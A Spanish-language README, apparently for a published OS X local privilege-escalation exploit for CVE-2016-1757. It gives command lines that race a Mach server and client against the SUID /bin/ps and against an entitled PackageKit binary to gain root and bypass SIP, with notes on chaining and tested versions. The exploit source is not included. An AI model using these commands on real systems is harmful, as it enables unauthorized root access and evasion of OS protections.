
Código de exploit para CVE-2016-1757
(c) fG! 2015, 2016, [email protected] - https://reverse.put.as
Un exploit universal de OS X para SUID, SIP y entitlements binarios (CVE-2016-1757).
Uso contra un binario SUID:
./mach_race_server /bin/ps _compat_mode
for i in `seq 0 1000000`; do ./mach_race_client /bin/ps; done
Contra un binario con entitlements para evadir SIP:
./mach_race_server /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/system_shove _geteuid
for i in `seq 0 1000000`; do ./mach_race_client /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/system_shove; done
Nota: como el nombre del servicio no se modifica, no puedes encadenar este exploit de usuario a root y luego usarlo para evadir SIP, ya que bootstrap_register2 fallará la segunda vez (el servicio ya está registrado con launchd desde la primera ejecución). La solución es añadir un parámetro para usar un nombre de servicio diferente, por ejemplo.
Nota2: no es necesario convertirlo en dos aplicaciones separadas; un solo binario funciona, solo necesitas hacer fork de un servidor y un cliente.
Referencias:
http://googleprojectzero.blogspot.pt/2016/03/race-you-to-kernel.html
Probado en Mavericks 10.10.5, Yosemite 10.10.5, El Capitan 10.11.2 y 10.11.3.
Corregido en El Capitan 10.11.4.
Debería funcionar con todas las versiones de OS X (depende de si bootstrap_register2 existe en versiones anteriores).
Es posible una implementación alternativa con bootstrap_create_server para versiones anteriores.